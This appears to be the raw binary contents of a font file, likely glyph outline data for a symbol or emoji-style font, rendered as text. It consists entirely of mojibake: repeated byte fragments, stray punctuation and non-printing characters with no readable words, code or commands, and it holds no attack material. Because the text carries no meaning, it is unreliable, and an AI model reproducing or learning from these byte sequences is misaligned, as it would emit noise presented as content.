��m+AWnrvz�����2"'&'&5476762#"'&'&47672#"'&'&547672"'&'&476762#"'&'&47676!!7!!!!2"'&'&5476762#"'&'&47672#"'&'&547672"'&'&476762#"'&'&47676N$J��J%$J%$S$J�$$%������%��=m$J��J%$J%$S$J�$$%H$%��$%H"H$%��$%H	&$Ih���?�'��H$%��$%H"H$%��$%H	JH��m*@Ui��������%476762"'&'&%4767632"'&'&476762"'&'4767672"'&'$4767>"'&'4767632'&'!!7!!!!2"'&'&5476762#"'&'&47672#"'&'&547672"'&'&476762#"'&'&47676�HJ��%$HG$$%$H��GH%$H������%��=m$J��J%$J%$S$J�$$%�$H%$H3J&$��JHJH�J&$��?�'��H$%��$%H"H$%��$%H	JH	��m":Pf|�!!7!!!!4767632"'&'&%4767632#"'&'&476762"'&'4767672"'&'&%4767>#"'&'&4767632'&'�����%��=�%$J��&$$%H$%$%H��H$%$%Hm���?�'�|$$%%$$%3J%$��$H%$HkJ%$
��m"9Qg}��2#"'&'&47676!!7!!!!4767632"'&'&%4767632#"'&'&476762"'&'4767672"'&'&%4767>#"'&'&4767632'&'E$$%������%��=�%$J��&$$%H$%$%H��H$%$%H&$Ih���?�'�|$$%%$$%3J%$��$H%$HkJ%$��m,048Og}���476762#"'&'&476762"'&'&!!7!!!!4767632"'&'&%4767632#"'&'&476762"'&'4767672"'&'&%4767>#"'&'&4767632'&'�H%$HG������%��=�%$J��&$$%H$%$%H��H$%$%H|$$%;$%$����?�'�|$$%%$$%3J%$��$H%$HkJ%$��m+AEIMd|����476762#"'&'&476762"'&'&476762"'&'&!!7!!!!4767632"'&'&%4767632#"'&'&476762"'&'4767672"'&'&%4767>#"'&'&4767632'&'�H%$	JHHG������%��=�%$J��&$$%H$%$%H��H$%$%H|$$%2$H.$%$����?�'�|$$%%$$%3J%$��$H%$HkJ%$
��m+AW[_cz�����2"'&'&5476762#"'&'&47672#"'&'&547672"'&'&47676!!7!!!!4767632"'&'&%4767632#"'&'&476762"'&'4767672"'&'&%4767>#"'&'&4767632'&'N$J��J%$J%$S$J������%��=�%$J��&$$%H$%$%H��H$%$%HH$%��$%H"H$%��$%Hq���?�'�|$$%%$$%3J%$��$H%$HkJ%$��m)>Simqu������2"'&'&476762#"'&'&47672#"'&'&47672"'&'&476762"'&'&47676!!7!!!!4767632"'&'&%4767632"'&'&476762'&'4767>"'&'&%4767>"'&'&476762'&'N$I��I%$I%$S$I�$I������%��=�%$I��&$IHIIH��HIIHHI��IH"HI��IH	&$Ih���?�'�|$I%$I4I%$��$H%$HlI%$��m*@Ui��������%476762"'&'&%4767632"'&'&476762"'&'4767672"'&'$4767>"'&'4767632'&'!!7!!!!4767632"'&'&%4767632"'&'&476762'&'4767>"'&'&%4767>"'&'&476762'&'�HI��%$HG$$%$H��GH%$H������%��=�%$I��&$IHIIH��HIIH�$H%$H4I&$��IHIH�I&$��?�'�|$I%$I4I%$��$H%$HlI%$�gm"3!254#%!2#!"54!�xx�xx�A���A�,G�x��xxyxx���y�����gm$03;#"'##65##"5476"3!254#%!2#!"54!3#'!#�A;	�lB;�;Bl�	;�"xx�xx�A���A�K�Қ �D��D�y�~&%N��kk̛�N%&�Vx��xxyxx���y�U�����gm$0I#"'##65##"5476"3!254#%!2#!"54!!56754&#"5>32�A;	�lB;�;Bl�	;�"xx�xx�A���A�����"?XhU4zHM�9����8y�~&%N��kk̛�N%&�Vx��xxyxx���y�?rn81^BQ##{�l���0�gm$0Y#"'##65##"5476"3!254#%!2#!"54#"&'532654&+532654&#"5>32�A;	�lB;�;Bl�	;�"xx�xx�A���A��\e��9}F4wCmxolV^^ad_(fQI�7��Zy�~&%N��kk̛�N%&�Vx��xxyxx���y�mR|�yOFJLl?<:=svcE`�gm$03>#"'##65##"5476"3!254#%!2#!"54	!33##5!5�A;	�lB;�;Bl�	;�"xx�xx�A���A����5�����by�~&%N��kk̛�N%&�Vx��xxyxx���y�]��m��y�gm$0Q#"'##65##"5476"3!254#%!2#!"54!!67632#"&'53264&#"�A;	�lB;�;Bl�	;�"xx�xx�A���A���y�^^a`�<~B9>>Eo��o4h6y�~&%N��kk̛�N%&�Vx��xxyxx���y��_�	ML��KJq
f�f�gm$0@`#"'##65##"5476"3!254#%!2#!"54"327654'&&'&#"67632#"&547632�A;	�lB;�;Bl�	;�"xx�xx�A���A�GX3333XW3333�1221�DD
&9:D�TTXW���ll�122y�~&%N��kk̛�N%&�Vx��xxyxx���y�45[Z4554Z[54bg
KL�1LM�ON���uv	�gm$07#"'##65##"5476"3!254#%!2#!"54!#!�A;	�lB;�;Bl�	;�"xx�xx�A���A��i���H�3y�~&%N��kk̛�N%&�Vx��xxyxx���y��0����gm$0=[j#"'##65##"5476"3!254#%!2#!"54"32764'%&'&546 #"'&54767327654'&"�A;	�lB;�;Bl�	;�"xx�xx�A���A���55j]\655��T./�RQ./SZ85UV��UV56-/.UQ100/�0/y�~&%N��kk̛�N%&�Vx��xxyxx���y�[,+KLV,+�+]12Hdt::dJ01:7PyAAAAyN98�?&%%$A?&%%$�gm$0P_#"'##65##"5476"3!254#%!2#!"54532767#"&547632#"'&2654'&#"�A;	�lB;�;Bl�	;�"xx�xx�A���A�.1220�DC
#<9E��WX��WXkl�122�Xf33XU5443y�~&%N��kk̛�N%&�Vx��xxyxx���y��g
KK�/���MNoo��uv	rh\Z4554Z\44�gm$0>JQ#"'##65##"5476"3!254#%!2#!"54"27654/2#"&546573�A;	�lB;�;Bl�	;�"xx�xx�A���A��2332�233y��������t���y�~&%N��kk̛�N%&�Vx��xxyxx���y��VV��VVVV��V�����������)t'���gm$0=#"'##65##"5476"3!254#%!2#!"543+53265�A;	�lB;�;Bl�	;�"xx�xx�A���A��A@�1(TFy�~&%N��kk̛�N%&�Vx��xxyxx���y��ܕFE`Tl�gm$0J#"'##65##"5476"3!254#%!2#!"54#"&54632.#"3267�A;	�lB;�;Bl�	;�"xx�xx�A���A�<1e9��ɴ9f0/j6||{}7j.y�~&%N��kk̛�N%&�Vx��xxyxx���y������t"$����$"�gm4@L"#"&54632&#"32#"'##65##"5476"3!254#%!2#!"54�������VX~_
Ua`UU`a�A;	�lB;�;Bl�	;�"xx�xx�A���A�,�����ۥ�(j8�p�����ny�~&%N��kk̛�N%&�Vx��xxyxx���y��gm$0;#"'##65##"5476"3!254#%!2#!"5433	##�A;	�lB;�;Bl�	;�"xx�xx�A���A��j��i���xy�~&%N��kk̛�N%&�Vx��xxyxx���y��a�z�B��m�gm!-0867632	&547632"3!254#%!2#!"54!3#'!#�7>T�>}���}?�V<7�xx�xx�A���A�K�Қ �D��D��v>G�-;���n���;-�GA�x��xxyxx���y�U�����gm!-F67632	&547632"3!254#%!2#!"54!!56754&#"5>32�7>T�>}���}?�V<7�xx�xx�A���A�����"?XhU4zHM�9����8�v>G�-;���n���;-�GA�x��xxyxx���y�?rn81^BQ##{�l���0�gm!-V67632	&547632"3!254#%!2#!"54#"&'532654&+532654&#"5>32�7>T�>}���}?�V<7�xx�xx�A���A��\e��9}F4wCmxolV^^ad_(fQI�7��Z�v>G�-;���n���;-�GA�x��xxyxx���y�mR|�yOFJLl?<:=svcE`�gm!-0;67632	&547632"3!254#%!2#!"54	!33##5!5�7>T�>}���}?�V<7�xx�xx�A���A����5�����b�v>G�-;���n���;-�GA�x��xxyxx���y�]��m��y�gm!-N67632	&547632"3!254#%!2#!"54!!67632#"&'53264&#"�7>T�>}���}?�V<7�xx�xx�A���A���y�^^a`�<~B9>>Eo��o4h6�v>G�-;���n���;-�GA�x��xxyxx���y��_�	ML��KJq
f�f�gm!-=]67632	&547632"3!254#%!2#!"54"327654'&&'&#"67632#"&547632�7>T�>}���}?�V<7�xx�xx�A���A�GX3333XW3333�1221�DD
&9:D�TTXW���ll�122�v>G�-;���n���;-�GA�x��xxyxx���y�45[Z4554Z[54bg
KL�1LM�ON���uv	�gm!-467632	&547632"3!254#%!2#!"54!#!�7>T�>}���}?�V<7�xx�xx�A���A��i���H�3�v>G�-;���n���;-�GA�x��xxyxx���y��0����gm!-:Xg67632	&547632"3!254#%!2#!"54"32764'%&'&546 #"'&54767327654'&"�7>T�>}���}?�V<7�xx�xx�A���A���55j]\655��T./�RQ./SZ85UV��UV56-/.UQ100/�0/�v>G�-;���n���;-�GA�x��xxyxx���y�[,+KLV,+�+]12Hdt::dJ01:7PyAAAAyN98�?&%%$A?&%%$�gm!-M\67632	&547632"3!254#%!2#!"54532767#"&547632#"'&2654'&#"�7>T�>}���}?�V<7�xx�xx�A���A�.1220�DC
#<9E��WX��WXkl�122�Xf33XU5443�v>G�-;���n���;-�GA�x��xxyxx���y��g
KK�/���MNoo��uv	rh\Z4554Z\44�gm!-;GN67632	&547632"3!254#%!2#!"54"27654/2#"&546573�7>T�>}���}?�V<7�xx�xx�A���A��2332�233y��������t����v>G�-;���n���;-�GA�x��xxyxx���y��VV��VVVV��V�����������)t'���gm!-:67632	&547632"3!254#%!2#!"543+53265�7>T�>}���}?�V<7�xx�xx�A���A��A@�1(TF�v>G�-;���n���;-�GA�x��xxyxx���y��ܕFE`Tl�gm!-G67632	&547632"3!254#%!2#!"54#"&54632.#"3267�7>T�>}���}?�V<7�xx�xx�A���A�<1e9��ɴ9f0/j6||{}7j.�v>G�-;���n���;-�GA�x��xxyxx���y������t"$����$"�xm1=I"#"&54632&#"3267632	&547632"3!254#%!2#!"54�������VX~_
Ua`UU`a�7>T�>}���}?�V<7�xx�xx�A���A�,�����ۥ�(j8�p������0v>G�-;���n���;-�GA�x��xxyxx���y��gm!-867632	&547632"3!254#%!2#!"5433	##�7>T�>}���}?�V<7�xx�xx�A���A��j��i���x�v>G�-;���n���;-�GA�x��xxyxx���y��a�z�B��m�gm!)0	00"3!254#%!2#!"54!3#'!#���h�f��xx�xx�A���A�K�Қ �D��D����
x��xxyxx���y�U�����gm70	00"3!254#%!2#!"54!!56754&#"5>32���h�f��xx�xx�A���A�����"?XhU4zHM�9����8���
x��xxyxx���y�?rn81^BQ##{�l���0�gmG0	00"3!254#%!2#!"54#"&'532654&+532654&#"5>32���h�f��xx�xx�A���A��\e��9}F4wCmxolV^^ad_(fQI�7��Z���
x��xxyxx���y�mR|�yOFJLl?<:=svcE`�gm!,0	00"3!254#%!2#!"54	!33##5!5���h�f��xx�xx�A���A����5�����b���
x��xxyxx���y�]��m��y�gm?0	00"3!254#%!2#!"54!!67632#"&'53264&#"���h�f��xx�xx�A���A���y�^^a`�<~B9>>Eo��o4h6���
x��xxyxx���y��_�	ML��KJq
f�f�gm.N0	00"3!254#%!2#!"54"327654'&&'&#"67632#"&547632���h�f��xx�xx�A���A�GX3333XW3333�1221�DD
&9:D�TTXW���ll�122���
x��xxyxx���y�45[Z4554Z[54bg
KL�1LM�ON���uv	�gm%0	00"3!254#%!2#!"54!#!���h�f��xx�xx�A���A��i���H�3���
x��xxyxx���y��0����gm+IX0	00"3!254#%!2#!"54"32764'%&'&546 #"'&54767327654'&"���h�f��xx�xx�A���A���55j]\655��T./�RQ./SZ85UV��UV56-/.UQ100/�0/���
x��xxyxx���y�[,+KLV,+�+]12Hdt::dJ01:7PyAAAAyN98�?&%%$A?&%%$�gm>M0	00"3!254#%!2#!"54532767#"&547632#"'&2654'&#"���h�f��xx�xx�A���A�.1220�DC
#<9E��WX��WXkl�122�Xf33XU5443���
x��xxyxx���y��g
KK�/���MNoo��uv	rh\Z4554Z\44�gm,8?0	00"3!254#%!2#!"54"27654/2#"&546573���h�f��xx�xx�A���A��2332�233y��������t������
x��xxyxx���y��VV��VVVV��V�����������)t'���gm+0	00"3!254#%!2#!"543+53265���h�f��xx�xx�A���A��A@�1(TF���
x��xxyxx���y��ܕFE`Tl�gm80	00"3!254#%!2#!"54#"&54632.#"3267���h�f��xx�xx�A���A�<1e9��ɴ9f0/j6||{}7j.���
x��xxyxx���y������t"$����$"�gm".:0	00"#"&54632&#"32"3!254#%!2#!"54���h�f5������VX~_
Ua`UU`a�uxx�xx�A���A����A�����ۥ�(j8�p�����ox��xxyxx���y��gm)0	00"3!254#%!2#!"5433	##���h�f��xx�xx�A���A��j��i���x���
x��xxyxx���y��a�z�B��m�gm	!!	!"3!254#%!2#!"54������������0xx�xx�A���A�1�G��G���}x��xxyxx���y��gm#/;>F65'&'&547632&54 632'"3!254#%!2#!"54!3#'!#U9H�5�?�K1|�|1K�?�5�I9��xx�xx�A���A�K�Қ �D��D��L��C�4$��j��j��$4�F�L�x��xxyxx���y�U�����gm#/;T65'&'&547632&54 632'"3!254#%!2#!"54!!56754&#"5>32U9H�5�?�K1|�|1K�?�5�I9��xx�xx�A���A�����"?XhU4zHM�9����8�L��C�4$��j��j��$4�F�L�x��xxyxx���y�?rn81^BQ##{�l���0�gm#/;d65'&'&547632&54 632'"3!254#%!2#!"54#"&'532654&+532654&#"5>32U9H�5�?�K1|�|1K�?�5�I9��xx�xx�A���A��\e��9}F4wCmxolV^^ad_(fQI�7��Z�L��C�4$��j��j��$4�F�L�x��xxyxx���y�mR|�yOFJLl?<:=svcE`�gm#/;>I65'&'&547632&54 632'"3!254#%!2#!"54	!33##5!5U9H�5�?�K1|�|1K�?�5�I9��xx�xx�A���A����5�����b�L��C�4$��j��j��$4�F�L�x��xxyxx���y�]��m��y�gm#/;\65'&'&547632&54 632'"3!254#%!2#!"54!!67632#"&'53264&#"U9H�5�?�K1|�|1K�?�5�I9��xx�xx�A���A���y�^^a`�<~B9>>Eo��o4h6�L��C�4$��j��j��$4�F�L�x��xxyxx���y��_�	ML��KJq
f�f�gm#/;Kk65'&'&547632&54 632'"3!254#%!2#!"54"327654'&&'&#"67632#"&547632U9H�5�?�K1|�|1K�?�5�I9��xx�xx�A���A�GX3333XW3333�1221�DD
&9:D�TTXW���ll�122�L��C�4$��j��j��$4�F�L�x��xxyxx���y�45[Z4554Z[54bg
KL�1LM�ON���uv	�gm#/;B65'&'&547632&54 632'"3!254#%!2#!"54!#!U9H�5�?�K1|�|1K�?�5�I9��xx�xx�A���A��i���H�3�L��C�4$��j��j��$4�F�L�x��xxyxx���y��0����gm#/;Hfu65'&'&547632&54 632'"3!254#%!2#!"54"32764'%&'&546 #"'&54767327654'&"U9H�5�?�K1|�|1K�?�5�I9��xx�xx�A���A���55j]\655��T./�RQ./SZ85UV��UV56-/.UQ100/�0/�L��C�4$��j��j��$4�F�L�x��xxyxx���y�[,+KLV,+�+]12Hdt::dJ01:7PyAAAAyN98�?&%%$A?&%%$�gm#/;[j65'&'&547632&54 632'"3!254#%!2#!"54532767#"&547632#"'&2654'&#"U9H�5�?�K1|�|1K�?�5�I9��xx�xx�A���A�.1220�DC
#<9E��WX��WXkl�122�Xf33XU5443�L��C�4$��j��j��$4�F�L�x��xxyxx���y��g
KK�/���MNoo��uv	rh\Z4554Z\44�gm#/;IU\65'&'&547632&54 632'"3!254#%!2#!"54"27654/2#"&546573U9H�5�?�K1|�|1K�?�5�I9��xx�xx�A���A��2332�233y��������t����L��C�4$��j��j��$4�F�L�x��xxyxx���y��VV��VVVV��V�����������)t'���gm#/;H65'&'&547632&54 632'"3!254#%!2#!"543+53265U9H�5�?�K1|�|1K�?�5�I9��xx�xx�A���A��A@�1(TF�L��C�4$��j��j��$4�F�L�x��xxyxx���y��ܕFE`Tl�gm#/;U65'&'&547632&54 632'"3!254#%!2#!"54#"&54632.#"3267U9H�5�?�K1|�|1K�?�5�I9��xx�xx�A���A�<1e9��ɴ9f0/j6||{}7j.�L��C�4$��j��j��$4�F�L�x��xxyxx���y������t"$����$"�gm#/;MW65'&'&547632&54 632'"3!254#%!2#!"54"#"&54632&#"32U9H�5�?�K1|�|1K�?�5�I9��xx�xx�A���A�3������VX~_
Ua`UU`a�L��C�4$��j��j��$4�F�L�x��xxyxx���y������ۥ�(j8�p������gm#/;F65'&'&547632&54 632'"3!254#%!2#!"5433	##U9H�5�?�K1|�|1K�?�5�I9��xx�xx�A���A��j��i���x�L��C�4$��j��j��$4�F�L�x��xxyxx���y��a�z�B��m�gm	+!%%!%%"3!254#%!2#!"54d��ec��b����`����b����Mxx�xx�A���A�n�ξ�;�3���o(��T���"(Ux��xxyxx���y���j�n! ! �tu������u�������j�n	 !! ! ,=��C��`�tu������<=���u�������j�n! !  !������ut�~<��A�����tu���<=���j�n! !  !������ut�~<��A������tu���<=����j�n! ! ! ! �tu������<=��C���A�u�����t��C�<=��@��j�n! ! % �tu������`����A��u������{��@���C��j�n! ! 0 �tu��������A��u������{��@���C��j�n	% ! ! +��a��C�������ut��@���C�����tu����j�V#+3�462"7"32654$"&462"32654462"6"&4622>7>54&'&'>54&#"&547&"'654.#"'72>32%%"&''%&/'%.547&54632�B\BB\t-
.�B\BB\,
-�o  �  �lN.	�;qsV6C70AIbbOS�C�*�*�C�SObbIA07C6Vsq;�	.8�L+ʏ��]�K��Y�����
 ��� �
����Y��K�]����+8�gg�g�=>u�gg�g�=>�"6''6']6''6'�$9]W>:�Lkt�LJ�73(#�XQik�\B?&STTS&?B\�kiQX�#(37�JL�tkL���>W]9�����r��lȡ~3D#�@�m��m�@�#D3~��lȬr�����K�j	-�	"(,����"&4632'2654#"3#"&46327'7#5%32767654'&'7>732>7>54'.#"&$ &/.#"3276%2654#"'747'&'#".'.54>7>32676 767>32+"&'&'&'&'& '326y2>=32>=-5nnI3=>23=>�S3�9?*�n��B?94��iE�B9?B

R' 8%/61.4&++ #?Y=������=Y?# ++&4.16/%8 'R

-�*?9��
9
!;+57?
B:),#3�A32%A(7���7(A%23A�3#,):B
?75+;!
9

"`	 B6�Ĉ6B 	_#
4a��a7�k~�n�nn�nA���n�nn�n�-ں��M�ғv$DK;7"
D;KD$v
h5WM' 1
*L7.4(#"N�emme�N"#(4.7L*
1 'MW5hNA������*,P�I	
,9	:kR4_5"2S''RNNR''S2"5_4Rk:	9,
	I�P,*0(sBD0H.&&.H0DBs(��$'&=�j(2AN�7327327#"'#""'72#"'&547632">7&>32#"'&327654'&#"654.'&'&#"&'%% 767%767%7&54>76?62>?''! '&'7&''�\E[:TT:[E\l�JDEI��>z�z>Z���+Q (F65/AFeN$0+E�dFB/56F( Qy0(
,@�

*�t��t��*
B
����g��굤g����
��&<��]i�i]��;&l
m nmu�����vmmm
�b@,,@bd�x==x.L#$-G0,a&0$4%Ca,0G-$#;��t.f>v��:��:��rAe.t�+B,E@y>z�w��w�z>y9L,B=|�9jwA�u�:	�a

a�	:�u�Awj9�|BQW.>.������.>.QWB��j�%1;Gh���462"7"32654"547632"&462432#"'&"3265473267!"& 7654'>54'&#".#" 632+ '.'&'#"&'&'&54632676&#";67&%32767654&'&#"RtRRt�78,%,%
RtRRt��%,%,78��j��`�;j������|TVZ�GqpG�ZVT|�j7aij�
"�Y:8�m���m�8:Y�"
�jia� 
(+G&<5t5<&G+(
 tRRtRh11�R $ $tRRtR�$ $k11��T�XLT�r��˚���,0^1�ioE55Eoi�1^0,�����|����,6[?Ki{pn�7LL7�np{iK?[6,����|��R:3�/�{W``W{�/�3:R	��j�n".49>BF4632#"&%462#"&! ! ! ! ! 67##%67#5#�Q;:RR:;QBRtSS:;Q�m�<=��C���A�tu������������XL���LHd� e�;QQ;:SS:;QQ;:SS��C�<=��@��u�����j����j�*%��Z��*�Rd��f	��j�n#/5:?CG! ! ! ! 462#4&"!462#4&"! 67##%67#5#1�<=��C���A�tu�������Č�=T=�)�Č�=T=��������XL���LHd� e��C�<=��@��u�������ŋSwwS��ŋSwwS�����j�*%��Z��*�Rd��f	_�j�n#/Y~5#67##67#%! 462#4&"!462#4&"! "'&/! &"&5476?&7! 4'#"'&/&'&! 6?"'<e)Hd�L�L�XL��N������X�Č�=T=ɌČ�=T=��tu];6L*���������+
L6<\��<=�%&-�)/�����/)�-L��fPRd��Z��**%�����j���ŋSwwS��ŋSwwS�u��%&69 �����96&%��C�<9�-ǚ���
-�9��j�n".4<4632#"&%462#"&! ! ! ! ! %!$76�Q;:RR:;QBRtSS:;Q��tu������<=��C���A�������B�W!\���\�;QQ;:SS:;QQ;:SS�u�����t��C�<=��@������j{u\��\��j�n#/5>462#4&"!462#4&"! ! ! ! ! %!7276�Č�=T=ɌČ�=T=��tu������<=��C���A�������B�W!\��ʎ\���ŋSwwS��ŋSwwS�u�����t��C�<=��@������j{u\��\��j�n#/;AJ"&547462#4&"!462#4&"! ! ! ! ! %!7276�AL6���Č�=T=ɌČ�=T=��tu������<=��C���A�������B�W!\��ʎ\,�8"+6,#5 ��ŋSwwS��ŋSwwS�u�����t��C�<=��@������j{u\��\��j�n
%+3%%''7'7! ! ! ! ! %!$76|'M��M�٠��M��M��tu������<=��C���A�������B�W!\���\'�n��n�UU�n��n��u�����t��C�<=��@������j{u\��\��j�c*5IW_7767 '&! /! '462#"&%4632#"&4$! ! 7&%654$! 6! &#"32s(���'s%2����2���<=��������RtSS:;Q��Q;:RR:;Q�
��������ۼ�C���A��JKC��ݰ����G,&��',H92��3Q��C�<=�99�*;QQ;:SS:;QQvRS\�����\�������t[�\6JQrrQJ6�nn��j�0-9J%462#"&%4632#"&'7 767 '&! ! 6 %! 7�/M��?RtSS:;Q��Q;:RR:;QM��M��s(���'s%2����2���<=��C���A�*��������g�o��;QQ;:SS:;QQvRS�n�o�>G,&��',H92��3Q��C�<=��@**�������t/�0��j�n'297 767 '&! ! ! ! 4632#"&-%s(���'s%2����2���<=��C���A�tu������Q;:RR:;Q�'M��M���G,&��',H92��3Q��C�<=��@��u������;QQvRSd�n��n���j�n'3?7 767 '&462#4&"!462#4&"! ! ! ! s(���'s%2����2,�Č�=T=ɌČ�=T=��tu������<=��C���A�G,&��',H92��3��ŋSwwS��ŋSwwS�u�����t��C�<=��@��j�n7CQ462#4&"!462#4&"!27&'# 3 536! ! ! 327674'&f�Č�=T=�)�Č�=T=���<�veA+-�������{7�C���A�tu�����O\&$
!���ŋSwwS��ŋSwwS���C)0lj���ՠdc�3=��@��u�����6C$(9.��j�n'3?7 767 '&"&53265!"&53265! ! ! ! s(���'s%2����2�Č�=T=�7�Č�=T=�?tu������<=��C���A�G,&��',H92��3��ŋSwwS��ŋSwwS�bu�����t��C�<=��@��j�n/;GW2#'&5&7633476!2367672#'&'476! ! ! ! 7 767 '&�<2��>
&?) 

#�I=#

 )?&
>��2<�tu������<=��C���A�s(���'s%2����2�%?A>ϾDLD  1GG1  DLD��>A?%�*u�����t��C�<=��@��G,&��',H92��3��j�n#3<! 4'#"&5"&=#! ! %7767 '&!&'&! 1�<=�Tn�즦�nU�tu�����ss(���'s%2����2`�������C�<àOd��dd��dO��u�����[G,&��',H92��3;����j�n)5!!5!2767!! ! ! ! �����lʎ's%2����~tu������<=��C���A��������',H92�9u�����t��C�<=��@��j�n%15!4632#"&%462#"&! ! ! ! L��vQ;:RR:;QBRtSS:;Q��tu������<=��C���Aq���;QQvRS:;QQ;:SS�u�����t��C�<=��@��j�n#5!!5!5!! ! ! ! ����������tu������<=��C���A������凇yu�����t��C�<=��@��j�n)7! ! ! ! 5!5!2#"&545!5!2#"&5451�<=��C���A�tu��������x:RR:;QVx:SS:;Q��C�<=��@��u�������-�Q;:SS:�Q;:SS:��j�n*6B"&475!%7
'%4632#"&%462#"&! ! ! ! PA6L6�=���MX��MXM��Q;:RR:;QBRtSS:;Q��tu������<=��C���A��5O66O5�E����o�nn�o��;QQvRS:;QQ;:SS�u�����t��C�<=��@��j�n'35!"&53265!"&53265! ! ! ! L�6�Č�=T=�7�Č�=T=�?tu������<=��C���Aq����ŋSwwS��ŋSwwS�bu�����t��C�<=��@��j�n%1%'4632#"&%462#"&! ! ! ! �9g9��Q;:RR:;QBRtSS:;Q��tu������<=��C���A�{�{�;QQvRS:;QQ;:SS�u�����t��C�<=��@��j�nB'! ! ! ! 	7"'&'&#"'67623276762&�__�Z�<=��C���A�tu�������_�4)F�F"58 yF�F"54(F�Fy\__����C�<=��@��u������_��Wi"bc(!__9("bb("_i"bb"(9_��j�n#/;4632#"&%462#"&7'7'7'! ! ! ! �Q;:RR:;QBRtSS:;Q�P�A<<��A�P��tu������<=��C���A�;QQ;:SS:;QQ;:SS�$>Nv�X..X�vN>#u�����t��C�<=��@��j�n")6BN2#'&5&76334764632#"&-%7'7'7'! ! ! ! j<2��>
&@( 
"�VQ;:RR:;Q�'M��M�نP�A<<��A�P��tu������<=��C���A�%?A>ϾDLD  1GN;QQvRSd�n��n�>Nv�X..X�vN>#u�����t��C�<=��@��j�n$0<462#4&"!462#4&"7'7'7'! ! ! ! �Č�=T=ɌČ�=T=�P�A<<��A�P��tu������<=��C���A���ŋSwwS��ŋSwwS�]>Nv�X..X�vN>#u�����t��C�<=��@��j�n$0<7'7'7'"&53265!"&53265! ! ! ! �P�A<<��A�PL�Č�=T=�7�Č�=T=�?tu������<=��C���A�>Nv�X..X�vN>���ŋSwwS��ŋSwwS�bu�����t��C�<=��@��j�n".8>4632#"&%462#"&! ! ! ! %5!#"&5!#26�Q;:RR:;QBRtSS:;Q�m�<=��C���A�tu��������ČU�=T=�;QQ;:SS:;QQ;:SS��C�<=��@��u�����c����ŋSww��j�n
)394632#"&-%! ! ! ! %5!#"&5!#26�Q;:RR:;Q�'M��M����<=��C���A�tu��������ČU�=T=�;QQvRSd�n��n���C�<=��@��u�����c����ŋSww��j�n%/5! ! ! ! '7'7%%5!#"&5!#261�<=��C���A�tu�����2��M��M�'M��M�����ČU�=T=��C�<=��@��u������U�n��n��n��n�����ŋSww��j�n)5F%7
'%4632#"&%462#"&! ! ! ! 676 &'&#&��MX��MXM��Q;:RR:;QBRtSS:;Q��tu������<=��C���A�%2��3$s(��ʎ'�o�nn�o��;QQvRS:;QQ;:SS�u�����t��C�<=��@�%83��38H,'��',��j�n"-9EV%'6762&'&"%7
'%4632#"&%462#"&! ! ! ! 676 &'&#&�yF�FyT;��MX��MXM��Q;:RR:;QBRtSS:;Q��tu������<=��C���A�%2��3$s(��ʎ'�9("bb"(9<<d�o�nn�o��;QQvRS:;QQ;:SS�u�����t��C�<=��@�%83��38H,'��',��j�n)5F'4632#"&%462#"&%! ! ! ! 676 &'&#&�M��M�+Q;:RR:;QBRtSS:;Q�/M��%tu������<=��C���A�%2��3$s(��ʎ'gn�o�;QQvRS:;QQ;:SS��o��u�����t��C�<=��@�%83��38H,'��',��j�n(,7BFV676 &'&#&! ! ! ! %462#"&%4632#"&''6762&'&"%2��3$s(��ʎ'���<=��C���A�tu�����(/M��?RtSS:;Q��Q;:RR:;QM��M�yF�FyTL83��38H,'��',��C�<=��@��u�������o��;QQ;:SS:;QQvRS�n�o�9("bb"(9<<��j�n#4O! ! ! ! "&53265676 &'&#&"&54?&'&532651�<=��C���A�tu�����H�Č�=T=��%2��3$s(��ʎ'�F:M L6 M:F�=T=��C�<=��@��u�������ŋSwwS��83��38H,'��',��bQ?7#+6,#5?
Rb�SwwS��j�n*6676 &'&#&%%''7'7! ! ! ! %2��3$s(��ʎ'�'M��M�٠��M��M��tu������<=��C���AL83��38H,'��',"�n��n�UU�n��n��u�����t��C�<=��@��j�n!-9'	7	676 &'&#&"&47! ! ! ! �__���_�/%2��3$s(��ʎ'�B6L6��<=��C���A�tu�����\__��_��83��38H,'��',#�5O66O5���C�<=��@��u�������j�n".4<4632#"&%462#"&! ! ! ! !4 !&'& �Q;:RR:;QBRtSS:;Q��tu������<=��C���A�'�'���Ek��jE�;QQ;:SS:;QQ;:SS�u�����t��C�<=��@���F��a`LtuL��j�n)5;C%7
'%4632#"&%462#"&! ! ! ! !4 !&'& ��MX��MXM��Q;:RR:;QBRtSS:;Q��tu������<=��C���A�'�'���Ek��jE�o�nn�o��;QQvRS:;QQ;:SS�u�����t��C�<=��@���F��a`LtuL��j�nNZflx������32654&#"!&'& !4 ! 4'#&'#5"'#5&47&'##"&'##5! ! 4632#"&%6754&#"326'#"&546325&'&'67%&'%67%�tJUioOLr�7�Ek��jE?�'�'�
�<=�5D%Dm�8D++!"D"!++D8�nD%D6�tu�����q"!#�� ## 	rLOoiUJt�#!"$ g!"$!"+�O# *"!$RluIOoo��`LtuL��F��7��C�<���;.)�nY6G$@<�<=�j���<�<@$F7Y�*.�ż��u������!!# �
���OooOIulR #!!y�
�(
�	&�!-��-!��	��j�n'-5'	7	'	7! ! ! ! !4 !&'& �__���_��__���_��tu������<=��C���A�'�'���Ek��jE__��_��X__��_��?u�����t��C�<=��@���F��a`LtuL��j�n)5AGO767632#"&53265!"&53265! ! ! ! !4 !&'& �U%

$
';�Č�=T=�7�Č�=T=�?tu������<=��C���A�'�'���Ek��jE�t2"$���ŋSwwS��ŋSwwS�bu�����t��C�<=��@���F��a`LtuL��j�n
%+3%%''7'7! ! ! ! !4 !&'& |'M��M�٠��M��M��tu������<=��C���A�'�'���Ek��jE'�n��n�UU�n��n��u�����t��C�<=��@���F��a`LtuL_�j�n=b%!4 '7'7%%! "'&/! &"&5476?&7! 4'#"'&/&'&! 6?"'��'�'����M��M�'M��M��.tu];6L*���������+
L6<\��<=�%&-�)/�����/)�-L��F��tU�n��n��n��n��u��%&69 �����96&%��C�<9�-ǚ���
-�9��j�n*6462"4632#"&%462#"&! ! ! ! ,�Ԗ���Q;:RR:;QBRtSS:;Q��tu������<=��C���AZԖ�Ԗ;;QQ;:SS:;QQ;:SS�u�����t��C�<=��@��j�n%1=%7
'%4632#"&%462#"&462"! ! ! ! ��MX��MXM��Q;:RR:;QBRtSS:;Q��KjKKj��tu������<=��C���A�o�nn�o��;QQvRS:;QQ;:SS�jKKjK�u�����t��C�<=��@��j�n#.:F"&47462"%7
